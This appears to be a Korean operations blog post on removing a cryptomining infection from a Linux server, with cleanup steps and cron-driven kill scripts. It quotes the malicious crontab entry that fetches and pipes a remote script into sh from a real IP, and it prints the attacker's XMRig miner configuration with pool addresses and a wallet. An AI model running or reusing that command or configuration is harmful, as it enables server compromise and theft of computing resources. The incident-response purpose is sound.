Cloudera CDH/CDP 및 Hadoop EcoSystem, Semantic IoT등의 개발/운영 기술을 정리합니다. gooper@gooper.com로 문의 주세요.
0. crontab에 등록되어 있는 문장을 삭제한다.
- * * * * * wget -q http://192.99.142.232:8220/logo4.jpg -O - | sh
0-1. top을 해서 cpu나 메모리를 100%이상 사용하는 프로세스를 찾아 지워준다
( "jps -ef | grep 프로세스ID"로 찾아서 반복적으로 지우는 shell프로그램을 만들어 crontab에 등록시켜준다.)
(예,
root@gsda4:/root# ps -ef | grep 19544
root 19544 1 99 22:05 ? 00:41:51 /tmp/java -c /tmp/w.conf
root 23204 18301 0 22:16 pts/0 00:00:00 grep 19544
)
1. shell프로그램을 만들어서 755권한을 부여한후 crontab에 등록해서 특정 문자열이 들어 있는 프로세스를 죽이고 관련 폴더/파일을 삭제한다.
2. /var/tmp/config.json 이 있으면 지워준다.
root@gsda4:/var/tmp# vi config.json 
{
    "algo": "cryptonight",  // cryptonight (default) or cryptonight-lite
    "av": 0,                // algorithm variation, 0 auto select
    "background": true,    // true to run the miner in the background
    "colors": true,         // false to disable colored output    
    "cpu-affinity": null,   // set process affinity to CPU core(s), mask "0x3" for cores 0 and 1
    "cpu-priority": null,   // set process priority (0 idle, 2 normal to 5 highest)
    "donate-level": 1,      // donate level, mininum 1%
    "log-file": null,       // log all output to a file, example: "c:/some/path/xmrig.log"
    "max-cpu-usage": 95,    // maximum CPU usage for automatic mode, usually limiting factor is CPU cache not this option.  
    "print-time": 60,       // print hashrate report every N seconds
    "retries": 5,           // number of times to retry before switch to backup server
    "retry-pause": 5,       // time to pause between retries
    "safe": false,          // true to safe adjust threads and av settings for current CPU
    "threads": null,        // number of miner threads
    "pools": [
        {
            "url": "158.69.133.20:3333",   // URL of mining server
            "user": "4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqDiTutrufk8D17D7xw1zPGyMspv8Lqwwg36V5chYg",                        // username for mining server
            "pass": "x",                       // password for mining server
            "keepalive": true,                 // send keepalived for prevent timeout (need pool support)
            "nicehash": false                  // enable nicehash/xmrig-proxy support
        },
        {
            "url": "192.99.142.249:3333",   // URL of mining server
            "user": "4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqDiTutrufk8D17D7xw1zPGyMspv8Lqwwg36V5chYg",                        // username for mining server
            "pass": "x",                       // password for mining server
            "keepalive": true,                 // send keepalived for prevent timeout (need pool support)
            "nicehash": false                  // enable nicehash/xmrig-proxy support
        },
        {
            "url": "202.144.193.110:3333",   // URL of mining server
            "user": "4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqDiTutrufk8D17D7xw1zPGyMspv8Lqwwg36V5chYg",                        // username for mining server
            "pass": "x",                       // password for mining server
            "keepalive": true,                 // send keepalived for prevent timeout (need pool support)
            "nicehash": false                  // enable nicehash/xmrig-proxy support
        }
    ],
    "api": {
        "port": 0,                             // port for the miner API https://github.com/xmrig/xmrig/wiki/API
        "access-token": null,                  // access token for API
        "worker-id": null                      // custom worker-id for API
    }
}3. /tmp 폴더 정리
- ???.conf 류의 파일 삭제
- /tmp/java 삭제
  - /tmp/conf 삭제
-> crontab -e
* * * * * /suppoie.sh
* * * * * /tmpconf.sh
* * * * * /crypto.sh
1.suppoie.sh
#!/bin/sh
Log=/home/suppoie.log
DATE=`date +%Y%m%d-%H%M%S`
Cnt=`ps -ef|grep "suppoie"|grep -v grep|wc -l`
PROCESS=`ps -ef|grep "suppoie"|grep -v grep|awk '{print $2}'`
if [ $Cnt -ne 0 ]
then
kill -9 $PROCESS
echo "$DATE : suppoie server (PID : $PROCESS) has killed." >> $Log
rm /var/tmp/config.json
rm /var/tmp/suppoie
fi
2. tmpconf.sh
#!/bin/sh
Log=/home/tmpconf.log
DATE=`date +%Y%m%d-%H%M%S`
Cnt=`ps -ef|grep "tmp/java"|grep -v grep|wc -l`
PROCESS=`ps -ef|grep "tmp/java"|grep -v grep|awk '{print $2}'`
if [ $Cnt -ne 0 ]
then
kill -9 $PROCESS
echo "$DATE : tmpconf server (PID : $PROCESS) has killed." >> $Log
fi
3. crypto.sh
#!/bin/sh
Log=/home/crypto.log
DATE=`date +%Y%m%d-%H%M%S`
Cnt=`ps -ef|grep "crypto"|grep -v grep|wc -l`
PROCESS=`ps -ef|grep "crypto"|grep -v grep|awk '{print $2}'`
if [ $Cnt -ne 0 ]
then
kill -9 $PROCESS
echo "$DATE : crypto server (PID : $PROCESS) has killed." >> $Log
fi
 
						